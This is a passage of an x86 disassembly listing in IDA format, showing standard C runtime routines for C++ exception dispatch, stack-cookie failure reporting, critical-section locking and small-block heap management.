loc_41686C: ; CODE XREF: sub_4165F6+1B1j
cmp [ebp+arg_14], 0
jz short loc_41687C
push 1
push esi
call sub_415FB1
pop ecx
pop ecx
loc_41687C: ; CODE XREF: sub_4165F6+27Aj
cmp [ebp+var_1], 0
jnz loc_416934
mov eax, [edi]
and eax, 1FFFFFFFh
cmp eax, 19930521h
jb loc_416934
mov edi, [edi+1Ch]
test edi, edi
jz loc_416934
push esi
call sub_41602A
test al, al
pop ecx
jnz loc_416934
call sub_411FFD
call sub_411FFD
call sub_411FFD
mov [eax+88h], esi
call sub_411FFD
cmp [ebp+arg_1C], 0
mov ecx, [ebp+arg_8]
mov [eax+8Ch], ecx
push esi
jnz short loc_4168E1
push [ebp+arg_4]
jmp short loc_4168E4
; ---------------------------------------------------------------------------
loc_4168E1: ; CODE XREF: sub_4165F6+2E4j
push [ebp+arg_1C]
loc_4168E4: ; CODE XREF: sub_4165F6+2E9j
call sub_41083D
mov esi, [ebp+arg_10]
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_415E8B
add esp, 10h
push dword ptr [esi+1Ch]
call sub_4160A3
loc_416905: ; CODE XREF: sub_4165F6+181j
; sub_4165F6+18Bj ...
mov ebx, [ebp+arg_10]
loc_416908: ; CODE XREF: sub_4165F6+41j
cmp dword ptr [ebx+0Ch], 0
jbe short loc_416934
cmp [ebp+arg_14], 0
jnz loc_416734
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_8]
push ebx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_416504
add esp, 20h
loc_416934: ; CODE XREF: sub_4165F6+28Aj
; sub_4165F6+29Cj ...
call sub_411FFD
cmp dword ptr [eax+94h], 0
jz short loc_416947
call sub_416A94
loc_416947: ; CODE XREF: sub_4165F6+85j
; sub_4165F6+34Aj
pop edi
pop esi
pop ebx
leave
retn
sub_4165F6 endp
; ---------------------------------------------------------------------------
push esi
push dword ptr [esp+8]
mov esi, ecx
call sub_40D8D9
mov dword ptr [esi], offset off_41CE04
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416964 proc near ; CODE XREF: sub_41088F+21p
; .vty:004108EBp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_411FFD
cmp dword ptr [eax+20Ch], 0
mov eax, [ebp+arg_10]
mov ecx, [ebp+arg_0]
mov edi, 0E06D7363h
mov esi, 1FFFFFFFh
mov ebx, 19930522h
jnz short loc_4169AD
mov edx, [ecx]
cmp edx, edi
jz short loc_4169AD
cmp edx, 80000026h
jz short loc_4169AD
mov edx, [eax]
and edx, esi
cmp edx, ebx
jb short loc_4169AD
test byte ptr [eax+20h], 1
jnz loc_416A40
loc_4169AD: ; CODE XREF: sub_416964+27j
; sub_416964+2Dj ...
test byte ptr [ecx+4], 66h
jz short loc_4169D6
cmp dword ptr [eax+4], 0
jz loc_416A40
cmp [ebp+arg_14], 0
jnz short loc_416A40
push 0FFFFFFFFh
push eax
push [ebp+arg_C]
push [ebp+arg_4]
call sub_415E8B
add esp, 10h
jmp short loc_416A40
; ---------------------------------------------------------------------------
loc_4169D6: ; CODE XREF: sub_416964+4Dj
cmp dword ptr [eax+0Ch], 0
jnz short loc_4169EE
mov edx, [eax]
and edx, esi
cmp edx, 19930521h
jb short loc_416A40
cmp dword ptr [eax+1Ch], 0
jz short loc_416A40
loc_4169EE: ; CODE XREF: sub_416964+76j
cmp [ecx], edi
jnz short loc_416A24
cmp dword ptr [ecx+10h], 3
jb short loc_416A24
cmp [ecx+14h], ebx
jbe short loc_416A24
mov edx, [ecx+1Ch]
mov edx, [edx+8]
test edx, edx
jz short loc_416A24
movzx esi, byte ptr [ebp+arg_1C]
push esi
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push ecx
call edx
add esp, 20h
jmp short loc_416A43
; ---------------------------------------------------------------------------
loc_416A24: ; CODE XREF: sub_416964+8Cj
; sub_416964+92j ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push ecx
call sub_4165F6
add esp, 20h
loc_416A40: ; CODE XREF: sub_416964+43j
; sub_416964+53j ...
xor eax, eax
inc eax
loc_416A43: ; CODE XREF: sub_416964+BEj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_416964 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A48 proc near ; CODE XREF: sub_415D0D:loc_415D41p
; sub_415E47+22j ...
ms_exc = CPPEH_RECORD ptr -18h
; FUNCTION CHUNK AT 00416A6F SIZE 00000012 BYTES
push 8
push offset dword_41FC98
call __SEH_prolog4
call sub_411FFD
mov eax, [eax+78h]
test eax, eax
jz short loc_416A76
and [ebp+ms_exc.disabled], 0
call eax
jmp short loc_416A6F
sub_416A48 endp
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
; START OF FUNCTION CHUNK FOR sub_416A48
loc_416A6F: ; CODE XREF: sub_416A48+1Ej
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
loc_416A76: ; CODE XREF: sub_416A48+16j
call sub_41411B
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_416A48
; =============== S U B R O U T I N E =======================================
sub_416A81 proc near ; CODE XREF: sub_4160A3+23p
call sub_411FFD
mov eax, [eax+7Ch]
test eax, eax
jz short loc_416A8F
call eax
loc_416A8F: ; CODE XREF: sub_416A81+Aj
jmp sub_416A48
sub_416A81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A94 proc near ; CODE XREF: sub_410A67+1Cp
; sub_410A67:loc_410AC8p ...
ms_exc = CPPEH_RECORD ptr -18h
push 8
push offset dword_41FCB8
call __SEH_prolog4
push dword_424888
call sub_411DBF
pop ecx
test eax, eax
jz short loc_416AC6
and [ebp+ms_exc.disabled], 0
call eax
jmp short loc_416ABF
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
loc_416ABF: ; CODE XREF: sub_416A94+22j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
loc_416AC6: ; CODE XREF: sub_416A94+1Aj
jmp sub_416A48
sub_416A94 endp
; =============== S U B R O U T I N E =======================================
sub_416ACB proc near ; CODE XREF: sub_412755+33p
push offset sub_416A48
call sub_411D53
pop ecx
mov dword_424888, eax
retn
sub_416ACB endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416AE0 proc near ; CODE XREF: sub_410B6F+4Ap
; sub_415E8B+77p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41990C
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_416B1F
mov ecx, 2
loc_416B1F: ; CODE XREF: sub_416AE0+38j
push ecx
call sub_41990C
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_416AE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B2C proc near ; CODE XREF: sub_410BCD:loc_410BD7j
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 328h
mov dword_424998, eax
mov dword_424994, ecx
mov dword_424990, edx
mov dword_42498C, ebx
mov dword_424988, esi
mov dword_424984, edi
mov word_4249B0, ss
mov word_4249A4, cs
mov word_424980, ds
mov word_42497C, es
mov word_424978, fs
mov word_424974, gs
pushf
pop dword_4249A8
mov eax, [ebp+0]
mov dword_42499C, eax
mov eax, [ebp+4]
mov dword_4249A0, eax
lea eax, [ebp+arg_0]
mov dword_4249AC, eax
mov eax, [ebp+var_320]
mov dword_4248E8, 10001h
mov eax, dword_4249A0
mov dword_42489C, eax
mov dword_424890, 0C0000409h
mov dword_424894, 1
mov eax, dword_4231C4
mov [ebp+var_328], eax
mov eax, dword_4231C8
mov [ebp+var_324], eax
call dword_41C114 ; IsDebuggerPresent
mov dword_4248E0, eax
push 1
call sub_412996
pop ecx
push 0
call dword_41C110 ; SetUnhandledExceptionFilter
push offset off_41CE1C
call dword_41C10C ; UnhandledExceptionFilter
cmp dword_4248E0, 0
jnz short loc_416C1C
push 1
call sub_412996
pop ecx
loc_416C1C: ; CODE XREF: sub_416B2C+E6j
push 0C0000409h
call dword_41C108 ; GetCurrentProcess
push eax
call dword_41C104 ; TerminateProcess
leave
retn
sub_416B2C endp
; =============== S U B R O U T I N E =======================================
sub_416C30 proc near ; CODE XREF: sub_41219F+10Cp
push esi
push edi
xor esi, esi
mov edi, offset dword_424BB8
loc_416C39: ; CODE XREF: sub_416C30+35j
cmp dword_423CC4[esi*8], 1
jnz short loc_416C61
lea eax, ds:423CC0h[esi*8]
mov [eax], edi
push 0FA0h
push dword ptr [eax]
add edi, 18h
call sub_4182CC
test eax, eax
pop ecx
pop ecx
jz short loc_416C6D
loc_416C61: ; CODE XREF: sub_416C30+11j
inc esi
cmp esi, 24h
jl short loc_416C39
xor eax, eax
inc eax
loc_416C6A: ; CODE XREF: sub_416C30+47j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_416C6D: ; CODE XREF: sub_416C30+2Fj
and off_423CC0[esi*8], 0
xor eax, eax
jmp short loc_416C6A
sub_416C30 endp
; =============== S U B R O U T I N E =======================================
sub_416C79 proc near ; CODE XREF: sub_411E89:loc_411EC1j
push ebx
mov ebx, dword_41C0CC
push esi
mov esi, offset off_423CC0
push edi
loc_416C87: ; CODE XREF: sub_416C79+30j
mov edi, [esi]
test edi, edi
jz short loc_416CA0
cmp dword ptr [esi+4], 1
jz short loc_416CA0
push edi
call ebx ; RtlDeleteCriticalSection
push edi
call sub_41112C
and dword ptr [esi], 0
pop ecx
loc_416CA0: ; CODE XREF: sub_416C79+12j
; sub_416C79+18j
add esi, 8
cmp esi, offset dword_423DE0
jl short loc_416C87
mov esi, offset off_423CC0
pop edi
loc_416CB1: ; CODE XREF: sub_416C79+50j
mov eax, [esi]
test eax, eax
jz short loc_416CC0
cmp dword ptr [esi+4], 1
jnz short loc_416CC0
push eax
call ebx ; RtlDeleteCriticalSection
loc_416CC0: ; CODE XREF: sub_416C79+3Cj
; sub_416C79+42j
add esi, 8
cmp esi, offset dword_423DE0
jl short loc_416CB1
pop esi
pop ebx
retn
sub_416C79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CCE proc near ; CODE XREF: sub_411060+2p
; sub_411182+2p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push off_423CC0[eax*8]
call dword_41C06C ; RtlLeaveCriticalSection
pop ebp
retn
sub_416CCE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CE3 proc near ; CODE XREF: sub_413E9F+4Fp
; sub_416DA6+14p ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_41FCD8
call __SEH_prolog4
xor edi, edi
inc edi
mov [ebp+var_1C], edi
xor ebx, ebx
cmp dword_42487C, ebx
jnz short loc_416D17
call sub_4143CC
push 1Eh
call sub_41422C
push 0FFh
call sub_4124E3
pop ecx
pop ecx
loc_416D17: ; CODE XREF: sub_416CE3+1Aj
mov esi, [ebp+arg_0]
lea esi, ds:423CC0h[esi*8]
cmp [esi], ebx
jz short loc_416D29
mov eax, edi
jmp short loc_416D97
; ---------------------------------------------------------------------------
loc_416D29: ; CODE XREF: sub_416CE3+40j
push 18h
call sub_412323
pop ecx
mov edi, eax
cmp edi, ebx
jnz short loc_416D46
call sub_40F79E
mov dword ptr [eax], 0Ch
xor eax, eax
jmp short loc_416D97
; ---------------------------------------------------------------------------
loc_416D46: ; CODE XREF: sub_416CE3+52j
push 0Ah
call sub_416DA6
pop ecx
mov [ebp+ms_exc.disabled], ebx
cmp [esi], ebx
jnz short loc_416D81
push 0FA0h
push edi
call sub_4182CC
pop ecx
pop ecx
test eax, eax
jnz short loc_416D7D
push edi
call sub_41112C
pop ecx
call sub_40F79E
mov dword ptr [eax], 0Ch
mov [ebp+var_1C], ebx
jmp short loc_416D88
; ---------------------------------------------------------------------------
loc_416D7D: ; CODE XREF: sub_416CE3+81j
mov [esi], edi
jmp short loc_416D88
; ---------------------------------------------------------------------------
loc_416D81: ; CODE XREF: sub_416CE3+70j
push edi
call sub_41112C
pop ecx
loc_416D88: ; CODE XREF: sub_416CE3+98j
; sub_416CE3+9Cj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_416D9D
mov eax, [ebp+var_1C]
loc_416D97: ; CODE XREF: sub_416CE3+44j
; sub_416CE3+61j
call __SEH_epilog4
retn
sub_416CE3 endp
; =============== S U B R O U T I N E =======================================
sub_416D9D proc near ; CODE XREF: sub_416CE3+ACp
; DATA XREF: .vty:0041FCF0o
push 0Ah
call sub_416CCE
pop ecx
retn
sub_416D9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DA6 proc near ; CODE XREF: sub_41101A+1Dp
; sub_41112C+1Ep ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
lea esi, ds:423CC0h[eax*8]
cmp dword ptr [esi], 0
jnz short loc_416DCC
push eax
call sub_416CE3
test eax, eax
pop ecx
jnz short loc_416DCC
push 11h
call sub_412499
pop ecx
loc_416DCC: ; CODE XREF: sub_416DA6+11j
; sub_416DA6+1Cj
push dword ptr [esi]
call dword_41C070 ; RtlEnterCriticalSection
pop esi
pop ebp
retn
sub_416DA6 endp
; =============== S U B R O U T I N E =======================================
sub_416DD7 proc near ; CODE XREF: sub_415C1F+37p
arg_0 = dword ptr 4
push 140h
push 0
push dword_42487C
call dword_41C130 ; RtlAllocateHeap
test eax, eax
mov dword_424EB0, eax
jnz short loc_416DF4
retn
; ---------------------------------------------------------------------------
loc_416DF4: ; CODE XREF: sub_416DD7+1Aj
mov ecx, [esp+arg_0]
and dword_424D08, 0
and dword_424EAC, 0
mov dword_424EB8, eax
xor eax, eax
mov dword_424EB4, ecx
mov dword_424EBC, 10h
inc eax
retn
sub_416DD7 endp
; =============== S U B R O U T I N E =======================================
sub_416E1F proc near ; CODE XREF: sub_41112C+29p
; sub_4123F6+4Ep ...
arg_0 = dword ptr 4
mov ecx, dword_424EAC
mov eax, dword_424EB0
imul ecx, 14h
add ecx, eax
jmp short loc_416E43
; ---------------------------------------------------------------------------
loc_416E31: ; CODE XREF: sub_416E1F+26j
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_416E49
add eax, 14h
loc_416E43: ; CODE XREF: sub_416E1F+10j
cmp eax, ecx
jb short loc_416E31
xor eax, eax
locret_416E49: ; CODE XREF: sub_416E1F+1Fj
retn
sub_416E1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416E4A proc near ; CODE XREF: sub_41112C+38p
; sub_417E83+B5p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
mov eax, [ecx+10h]
push esi
mov esi, [ebp+arg_4]
push edi
mov edi, esi
sub edi, [ecx+0Ch]
add esi, 0FFFFFFFCh
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41715A
push ebx
lea ebx, [ecx+esi]
mov edx, [ebx]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_416F15
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_416EAD
push 3Fh
pop edx
loc_416EAD: ; CODE XREF: sub_416E4A+5Ej
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_416EF7
cmp edx, 20h
mov ebx, 80000000h
jnb short loc_416ED8
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_416EF4
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_416EF4
; ---------------------------------------------------------------------------
loc_416ED8: ; CODE XREF: sub_416E4A+73j
lea ecx, [edx-20h]
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_416EF4
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_416EF4: ; CODE XREF: sub_416E4A+85j
; sub_416E4A+8Cj ...
mov ebx, [ebp+arg_4]
loc_416EF7: ; CODE XREF: sub_416E4A+69j
mov edx, [ebx+8]
mov ebx, [ebx+4]
mov ecx, [ebp+var_4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
mov [ebp+var_4], ecx
loc_416F15: ; CODE XREF: sub_416E4A+55j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_416F23
push 3Fh
pop edx
loc_416F23: ; CODE XREF: sub_416E4A+D4j
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_416FC1
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_416F48
mov ebx, esi
loc_416F48: ; CODE XREF: sub_416E4A+FAj
add ecx, [ebp+var_8]
mov edx, ecx
sar edx, 4
dec edx
cmp edx, esi
mov [ebp+var_4], ecx
jbe short loc_416F5A
mov edx, esi
loc_416F5A: ; CODE XREF: sub_416E4A+10Cj
cmp ebx, edx
jz short loc_416FBC
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_416FA4
cmp ebx, 20h
mov esi, 80000000h
jnb short loc_416F8A
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_416FA4
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_416FA4
; ---------------------------------------------------------------------------
loc_416F8A: ; CODE XREF: sub_416E4A+127j
lea ecx, [ebx-20h]
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_416FA4
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_416FA4: ; CODE XREF: sub_416E4A+11Dj
; sub_416E4A+137j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_416FBC: ; CODE XREF: sub_416E4A+112j
mov esi, [ebp+arg_4]
jmp short loc_416FC4
; ---------------------------------------------------------------------------
loc_416FC1: ; CODE XREF: sub_416E4A+E2j
mov ebx, [ebp+arg_0]
loc_416FC4: ; CODE XREF: sub_416E4A+175j
cmp [ebp+var_C], 0
jnz short loc_416FD2
cmp ebx, edx
jz loc_417052
loc_416FD2: ; CODE XREF: sub_416E4A+17Ej
mov ecx, [ebp+var_10]
lea ecx, [ecx+edx*8]
mov ebx, [ecx+4]
mov [esi+8], ecx
mov [esi+4], ebx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_417052
mov cl, [edx+eax+4]
mov byte ptr [ebp+arg_4+3], cl
inc cl
cmp edx, 20h
mov [edx+eax+4], cl
jnb short loc_417029
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_417018
mov ecx, edx
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_417018: ; CODE XREF: sub_416E4A+1BEj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_417052
; ---------------------------------------------------------------------------
loc_417029: ; CODE XREF: sub_416E4A+1B8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41703F
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41703F: ; CODE XREF: sub_416E4A+1E3j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_417052: ; CODE XREF: sub_416E4A+182j
; sub_416E4A+1A6j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_417159
mov eax, dword_424D08
test eax, eax
jz loc_41714B
mov ecx, dword_424EC0
mov esi, dword_41C0F0
push 4000h
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_424EC0
mov eax, dword_424D08
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_424D08
mov eax, [eax+10h]
mov ecx, dword_424EC0
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_424D08
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_424D08
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_4170E0
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_424D08
loc_4170E0: ; CODE XREF: sub_416E4A+28Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41714B
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_424D08
push dword ptr [eax+10h]
push 0
push dword_42487C
call dword_41C12C ; RtlFreeHeap
mov ecx, dword_424EAC
mov eax, dword_424D08
imul ecx, 14h
mov edx, dword_424EB0
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_410C50
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_424EAC
cmp eax, dword_424D08
jbe short loc_417141
sub [ebp+arg_0], 14h
loc_417141: ; CODE XREF: sub_416E4A+2F1j
mov eax, dword_424EB0
mov dword_424EB8, eax
loc_41714B: ; CODE XREF: sub_416E4A+223j
; sub_416E4A+29Aj
mov eax, [ebp+arg_0]
mov dword_424D08, eax
mov dword_424EC0, edi
loc_417159: ; CODE XREF: sub_416E4A+216j
pop ebx
loc_41715A: ; CODE XREF: sub_416E4A+37j
pop edi
pop esi
leave
retn
sub_416E4A endp
; =============== S U B R O U T I N E =======================================
sub_41715E proc near ; CODE XREF: sub_4175F3+C0p
mov eax, dword_424EBC
push esi
mov esi, dword_424EAC
push edi
xor edi, edi
cmp esi, eax
jnz short loc_4171A5
add eax, 10h
imul eax, 14h
push eax
push dword_424EB0
push edi
push dword_42487C
call dword_41C04C ; RtlReAllocateHeap
cmp eax, edi
jnz short loc_417193
loc_41718F: ; CODE XREF: sub_41715E+68j
; sub_41715E+94j
xor eax, eax
jmp short loc_41720B
; ---------------------------------------------------------------------------
loc_417193: ; CODE XREF: sub_41715E+2Fj
add dword_424EBC, 10h
mov esi, dword_424EAC
mov dword_424EB0, eax
loc_4171A5: ; CODE XREF: sub_41715E+11j
imul esi, 14h
add esi, dword_424EB0
push 41C4h
push 8
push dword_42487C
call dword_41C130 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_41718F
push 4
push 2000h
push 100000h
push edi
call dword_41C050 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_4171F4
push dword ptr [esi+10h]
push edi
push dword_42487C
call dword_41C12C ; RtlFreeHeap
jmp short loc_41718F
; ---------------------------------------------------------------------------
loc_4171F4: ; CODE XREF: sub_41715E+82j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_424EAC
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41720B: ; CODE XREF: sub_41715E+33j
pop edi
pop esi
retn
sub_41715E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41720E proc near ; CODE XREF: sub_4175F3+D6p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, [ebp+arg_0]
mov eax, [ecx+8]
push ebx
push esi
mov esi, [ecx+10h]
push edi
xor ebx, ebx
jmp short loc_417226
; ---------------------------------------------------------------------------
loc_417223: ; CODE XREF: sub_41720E+1Aj
add eax, eax
inc ebx
loc_417226: ; CODE XREF: sub_41720E+13j
test eax, eax
jge short loc_417223
mov eax, ebx
imul eax, 204h
lea eax, [eax+esi+144h]
push 3Fh
mov [ebp+var_8], eax
pop edx
loc_41723F: ; CODE XREF: sub_41720E+3Bj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41723F
push 4
mov edi, ebx
push 1000h
shl edi, 0Fh
add edi, [ecx+0Ch]
push 8000h
push edi
call dword_41C050 ; VirtualAlloc
test eax, eax
jnz short loc_417272
or eax, 0FFFFFFFFh
jmp loc_41730F
; ---------------------------------------------------------------------------
loc_417272: ; CODE XREF: sub_41720E+5Aj
lea edx, [edi+7000h]
cmp edi, edx
mov [ebp+var_4], edx
ja short loc_4172C2
mov ecx, edx
sub ecx, edi
shr ecx, 0Ch
lea eax, [edi+10h]
inc ecx
loc_41728A: ; CODE XREF: sub_41720E+AFj
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea edx, [eax+0FFCh]
mov [eax], edx
lea edx, [eax-1004h]
mov dword ptr [eax-4], 0FF0h
mov [eax+4], edx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
dec ecx
jnz short loc_41728A
mov edx, [ebp+var_4]
loc_4172C2: ; CODE XREF: sub_41720E+6Fj
mov eax, [ebp+var_8]
add eax, 1F8h
lea ecx, [edi+0Ch]
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
xor edi, edi
inc edi
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_4172FF
or [eax+4], edi
loc_4172FF: ; CODE XREF: sub_41720E+ECj
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41730F: ; CODE XREF: sub_41720E+5Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41720E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417314 proc near ; CODE XREF: sub_417E83+77p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ecx+10h]
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov edx, edi
sub edx, [ecx+0Ch]
add esi, 17h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
and esi, 0FFFFFFF0h
dec ecx
cmp esi, ecx
lea edi, [ecx+edi-4]
mov ebx, [edi]
mov [ebp+arg_8], ecx
mov [ebp+var_4], ebx
jle loc_4174B6
test bl, 1
jnz loc_4174AF
add ebx, ecx
cmp esi, ebx
jg loc_4174AF
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_417389
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_417389: ; CODE XREF: sub_417314+6Dj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_4173D4
cmp ecx, 20h
mov ebx, 80000000h
jnb short loc_4173B5
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_4173D4
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_4173D4
; ---------------------------------------------------------------------------
loc_4173B5: ; CODE XREF: sub_417314+85j
add ecx, 0FFFFFFE0h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
